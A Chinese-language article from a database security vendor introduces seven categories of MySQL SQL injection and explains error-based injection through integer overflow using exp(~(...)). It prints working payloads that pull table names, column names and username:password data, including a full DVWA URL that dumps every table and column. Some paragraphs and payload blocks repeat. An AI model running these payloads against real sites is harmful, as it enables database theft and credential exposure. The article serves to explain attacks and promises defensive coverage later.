Mysql数据库安全漏洞之SQL注入(1)
作者:安华金和 发布时间:2017-01-31

Mysql数据库在国内的市场占有量仅次于Oracle,排名第二。正因如此广泛的使用,Mysql数据库被曝出的安全漏洞数量同样较高。安华金和2016年数据库漏洞报告中指出,从可统计的数据库安全漏洞分布情况来看,Mysql的漏洞数量开始超越Oracle,成为漏洞数量最多的数据库类型,这表示由于使用人数增多,被发现的漏洞数量也随之提高,而数据库安全漏洞的存在,也成为黑客们SQL注入最佳途径。本文将对Mysql中的SQL注入手段进行简单介绍。

Mysql的SQL注入从技术角度主要可以分为7类技术手段:

1.常用mysql注入(SELECT)

2.常用mysql注入(insert、update)

3.mysql 报错注入

4.mysql常规盲注

5.mysql时间盲注

6.mysql数据库版本特征注入

7.mysql其他注入技巧

Osanda Malith Jayathissa 发现的这个漏洞属于报错注入的一种,作者通过构筑整数溢出来导致出现报错信息。利用select ~0来获取最大整数值,然后select ~0 +1 就可以达到溢出的目的。这说明只要用函数构筑0和1就可以达到让目标函数缓冲区溢出的目的。

20170131-1.png

0的逻辑非就是1,任何一个查询成功的返回值都是0所以我们可以利用这种方式来执行我们希望执行的操作。

20170131-2.png

注意看上图中的报错信息。在报错信息中可以获取到我们希望执行的select user();的结果,但同时我们也发现存在一个限制,就是报错信息只能返回极少的行数,这一点可以通过limit x,y函数来解决。

作者同时给出了下面这些获取表名、列名、数据方法的例子。

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
 select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

注意看上图中的报错信息。在报错信息中可以获取到我们希望执行的select user();的结果,但同时我们也发现存在一个限制,就是报错信息只能返回极少的行数,这一点可以通过limit x,y函数来解决。

作者同时给出了下面这些获取表名、列名、数据方法的例子。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
 http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#

下面这个查询可以从当前的上下文中dump出所有的tables与columns,我们也可以dump出所有的数据库。

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
 http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#  

在了解了初步的SQL注入技术手段后,我们将在后文中进一步介绍,如何利用Mysql中的安全漏洞进行SQL注入,以及如何使用适当的数据库安全技术防护此类攻击。